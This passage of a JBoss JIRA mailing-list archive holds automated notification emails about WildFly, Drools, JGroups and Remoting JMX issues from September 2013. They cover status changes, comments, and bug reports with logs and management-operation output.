> 	at org.hibernate.event.internal.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:52) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.internal.SessionImpl.flush(SessionImpl.java:1235) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.internal.SessionImpl.managedFlush(SessionImpl.java:405) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.transaction.synchronization.internal.SynchronizationCallbackCoordinatorImpl.beforeCompletion(SynchronizationCallbackCoordinatorImpl.java:113) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	... 68 more
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 03:55:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 03:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-928) Starting a server with
 multiple web apps , causes  deploymeent failures
In-Reply-To: <JIRA.12486589.1362603773000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12486589.1362603773000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12486589.1362603773000.5436.1380527703964@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-928?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808114#comment-12808114 ] 

RH Bugzilla Integration commented on WFLY-928:
----------------------------------------------

Richard Jan?k <rjanik at redhat.com> changed the Status of [bug 918791|https://bugzilla.redhat.com/show_bug.cgi?id=918791] from ON_QA to VERIFIED
                
> Starting a server with multiple web apps , causes  deploymeent failures
> -----------------------------------------------------------------------
>
>                 Key: WFLY-928
>                 URL: https://issues.jboss.org/browse/WFLY-928
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering
>            Reporter: Shay Matasaro
>            Assignee: Paul Ferraro
>
> When the server starts with multiple web apps , and each one tries to create its cache , the first one locks all other because of a lock on cache manager see ISPN-2898
> this results in deployment failure , and the apps will not get redeployed

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 30 05:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 05:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.5611.1380531903452@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808139#comment-12808139 ] 

RH Bugzilla Integration commented on WFLY-2089:
-----------------------------------------------

Jakub Cechacek <jcechace at redhat.com> made a comment on [bug 1008087|https://bugzilla.redhat.com/show_bug.cgi?id=1008087]

verified 6.2.0.ER3
                
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 05:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 05:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1914) Application client container
	doesn't start
In-Reply-To: <JIRA.12499060.1377081913000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499060.1377081913000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499060.1377081913000.5616.1380531903669@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1914?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808140#comment-12808140 ] 

RH Bugzilla Integration commented on WFLY-1914:
-----------------------------------------------

Stuart Douglas <sdouglas at redhat.com> made a comment on [bug 999465|https://bugzilla.redhat.com/show_bug.cgi?id=999465]

PR: https://github.com/jbossas/jboss-eap/pull/489
                
> Application client container doesn't start
> ------------------------------------------
>
>                 Key: WFLY-1914
>                 URL: https://issues.jboss.org/browse/WFLY-1914
>             Project: WildFly
>          Issue Type: Bug
>          Components: Application Client
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: jaikiran pai
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>
> Application client container fails to start with the following exception:
> {code}
> 16:23:40,742 INFO  [org.jboss.as.jacorb] (MSC service thread 1-7) JBAS016328: CORBA Naming Service started
> 16:23:40,744 ERROR [org.jboss.as.controller.management-operation] (Controller Boot Thread) JBAS014613: Operation ("add") failed - address: ([
>     ("subsystem" => "naming"),
>     ("service" => "remote-naming")
> ]) - failure description: {"JBAS014771: Services with missing/unavailable dependencies" => ["jboss.naming.remote is missing [jboss.remoting.endpoint.subsystem]"]}
> 16:23:40,779 INFO  [org.jboss.as.controller] (Controller Boot Thread) JBAS014774: Service status report
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.remoting.endpoint.subsystem (missing) dependents: [service jboss.naming.remote] 
> 16:23:40,782 ERROR [org.jboss.as] (Controller Boot Thread) JBAS015875: WildFly 8.0.0.Beta1-SNAPSHOT "WildFly" started (with errors) in 1471ms - Started 99 of 103 services (1 services failed or missing dependencies, 9 services are lazy, passive or on-demand)
> {code}
> when started using the following command:
> {code}
> JBOSS_HOME/bin/appclient.sh /foo/bar/some.jar
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 05:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 05:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.5620.1380531903923@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808141#comment-12808141 ] 

RH Bugzilla Integration commented on WFLY-2089:
-----------------------------------------------

Jakub Cechacek <jcechace at redhat.com> changed the Status of [bug 1008087|https://bugzilla.redhat.com/show_bug.cgi?id=1008087] from ON_QA to VERIFIED
                
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 05:07:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 05:07:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.5623.1380532022737@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808142#comment-12808142 ] 

RH Bugzilla Integration commented on WFLY-2139:
-----------------------------------------------

Jakub Cechacek <jcechace at redhat.com> made a comment on [bug 1010672|https://bugzilla.redhat.com/show_bug.cgi?id=1010672]

Verified 6.2.0.ER3
                
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 05:07:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 05:07:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.5626.1380532023034@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808143#comment-12808143 ] 

RH Bugzilla Integration commented on WFLY-2139:
-----------------------------------------------

Jakub Cechacek <jcechace at redhat.com> changed the Status of [bug 1010672|https://bugzilla.redhat.com/show_bug.cgi?id=1010672] from ON_QA to VERIFIED
                
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 05:11:02 2013
From: jira-events at lists.jboss.org (Richard Bourner (JIRA))
Date: Mon, 30 Sep 2013 05:11:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-276) Stream mode with CR4-Pre1
 generates rules looping
In-Reply-To: <JIRA.12501742.1380290941000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501742.1380290941000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501742.1380290941000.5630.1380532262579@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-276?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Richard Bourner updated DROOLS-276:
-----------------------------------

    Priority: Blocker  (was: Major)

    
>  Stream mode with CR4-Pre1 generates rules looping
> --------------------------------------------------
>
>                 Key: DROOLS-276
>                 URL: https://issues.jboss.org/browse/DROOLS-276
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR4
>         Environment: Drools 6.0.0.CR4-Pre1
>            Reporter: Richard Bourner
>            Assignee: Mark Proctor
>            Priority: Blocker
>         Attachments: Drools6Stream.zip
>
>
> When in STREAM mode, our rules are looping because of an update.
> The attached example doesn't demonstrate the looping but one rule is fired twice where it should only fire once. We are supposing that the issue is the same.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 05:17:02 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Mon, 30 Sep 2013 05:17:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2181) TempFileProviderService
 creates a static, non-daemon thread pool
In-Reply-To: <JIRA.12501805.1380532508636@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501805.1380532508636@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501805.1380532508636.5646.1380532622638@jira02.app.mwc.hst.phx2.redhat.com>

Stuart Douglas created WFLY-2181:
------------------------------------

             Summary: TempFileProviderService creates a static, non-daemon thread pool
                 Key: WFLY-2181
                 URL: https://issues.jboss.org/browse/WFLY-2181
             Project: WildFly
          Issue Type: Bug
          Components: Server
    Affects Versions: 8.0.0.Alpha4
            Reporter: Stuart Douglas
            Assignee: Stuart Douglas


This can prevent the server from shutting down

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 05:17:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 05:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2181) TempFileProviderService
 creates a static, non-daemon thread pool
In-Reply-To: <JIRA.12501805.1380532508000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501805.1380532508000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501805.1380532508000.5657.1380532623582@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2181?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2181:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1012968

    
> TempFileProviderService creates a static, non-daemon thread pool
> ----------------------------------------------------------------
>
>                 Key: WFLY-2181
>                 URL: https://issues.jboss.org/browse/WFLY-2181
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>
> This can prevent the server from shutting down

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 05:37:02 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 30 Sep 2013 05:37:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1709) Logging: convert the most
 important WARN and ERROR messages to use IDs and resource bundles
In-Reply-To: <JIRA.12501808.1380533726199@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501808.1380533726199@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501808.1380533726199.5698.1380533822619@jira02.app.mwc.hst.phx2.redhat.com>

Bela Ban created JGRP-1709:
------------------------------

             Summary: Logging: convert the most important WARN and ERROR messages to use IDs and resource bundles
                 Key: JGRP-1709
                 URL: https://issues.jboss.org/browse/JGRP-1709
             Project: JGroups
          Issue Type: Task
            Reporter: Bela Ban
            Assignee: Bela Ban
            Priority: Minor
             Fix For: 3.4


Convert WARN and ERROR messages that might be seen by users to use a resource bundle (conf/jg-messages*.properties) and assign unique IDs the those messages.
Link in BZ: https://bugzilla.redhat.com/show_bug.cgi?id=999671

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 05:37:02 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 30 Sep 2013 05:37:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1709) Logging: convert the most
 important WARN and ERROR messages to use IDs and resource bundles
In-Reply-To: <JIRA.12501808.1380533726000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501808.1380533726000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501808.1380533726000.5701.1380533822909@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1709?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808152#comment-12808152 ] 

Bela Ban commented on JGRP-1709:
--------------------------------

Since I want to release 3.4.0.Final by Oct 4, only the most prominent messages are going to be converted in 3.4. The rest of the work will be done in 3.5.
                
> Logging: convert the most important WARN and ERROR messages to use IDs and resource bundles
> -------------------------------------------------------------------------------------------
>
>                 Key: JGRP-1709
>                 URL: https://issues.jboss.org/browse/JGRP-1709
>             Project: JGroups
>          Issue Type: Task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>            Priority: Minor
>             Fix For: 3.4
>
>
> Convert WARN and ERROR messages that might be seen by users to use a resource bundle (conf/jg-messages*.properties) and assign unique IDs the those messages.
> Link in BZ: https://bugzilla.redhat.com/show_bug.cgi?id=999671

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 05:51:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 05:51:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2181) TempFileProviderService
 creates a static, non-daemon thread pool
In-Reply-To: <JIRA.12501805.1380532508000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501805.1380532508000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501805.1380532508000.5739.1380534662936@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2181?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808157#comment-12808157 ] 

RH Bugzilla Integration commented on WFLY-2181:
-----------------------------------------------

Stuart Douglas <sdouglas at redhat.com> made a comment on [bug 1012968|https://bugzilla.redhat.com/show_bug.cgi?id=1012968]

https://github.com/jbossas/jboss-eap/pull/491
                
> TempFileProviderService creates a static, non-daemon thread pool
> ----------------------------------------------------------------
>
>                 Key: WFLY-2181
>                 URL: https://issues.jboss.org/browse/WFLY-2181
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>
> This can prevent the server from shutting down

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 05:56:02 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Mon, 30 Sep 2013 05:56:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2180) Thread threads pools inherit
 security context of submitting threads
In-Reply-To: <JIRA.12501788.1380523725000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501788.1380523725000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501788.1380523725000.5745.1380534962779@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2180?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808158#comment-12808158 ] 

Stuart Douglas commented on WFLY-2180:
--------------------------------------

Basically the way to fix this is to make sure that every thread pool we use uses a factory that sets the correct access control context for created threads. This can be easily done using a JBossThreadFactory.
                
> Thread threads pools inherit security context of submitting threads
> -------------------------------------------------------------------
>
>                 Key: WFLY-2180
>                 URL: https://issues.jboss.org/browse/WFLY-2180
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE, EJB, Server, Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: David Lloyd
>
> Some thread pool implementation will immediately create a new thread if work is submitted and there is not enough threads available to handle it. This newly created thread will inherit the access control context of the thread that is submitting the work, which essentially means that thread pool threads have a random access control context. 
> This is the root cause of UNDERTOW-102, and likely other security manager related failures as well.
> I think that the best way to fix this is in the thread pool itself, as it should create the thread in a privileged block. We obviously cannot do this for JDK thread pools however.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 06:10:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Mon, 30 Sep 2013 06:10:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2131) read-operation-names to
 return a filtered list of allowed operations
In-Reply-To: <JIRA.12501207.1379945777000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501207.1379945777000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501207.1379945777000.5771.1380535802683@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2131?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808163#comment-12808163 ] 

Kabir Khan commented on WFLY-2131:
----------------------------------

After speaking to Brian we decided to leave the plain :read-operation-names as it is for backwards compatibility, in case others than just CLI also rely on this operation. So to get the new behaviour I'll do 1) e.g. :read-operation-names(access-control=true). If 1) is done, you also get 2). 2) will be some header containing the stripped out operations, I will look at read-resource for inspiration.
                
> read-operation-names to return a filtered list of allowed operations
> --------------------------------------------------------------------
>
>                 Key: WFLY-2131
>                 URL: https://issues.jboss.org/browse/WFLY-2131
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Alexey Loubyansky
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> As discussed on IRC with Kabir, Heiko and me, we agreed that read-operation-names should return only the operations the caller is permitted to execute.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 06:21:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 06:21:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-72) Release Remoting JMX
	1.1.1.Final
In-Reply-To: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500955.1379530173000.5795.1380536462824@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-72?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808168#comment-12808168 ] 

RH Bugzilla Integration commented on REMJMX-72:
-----------------------------------------------

Ladislav Thon <lthon at redhat.com> changed the Status of [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001] from ON_QA to VERIFIED
                
> Release Remoting JMX 1.1.1.Final
> --------------------------------
>
>                 Key: REMJMX-72
>                 URL: https://issues.jboss.org/browse/REMJMX-72
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Build
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.Final
>
>
> Release 1.1.1.Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 06:21:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 06:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate JMRuntimeException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
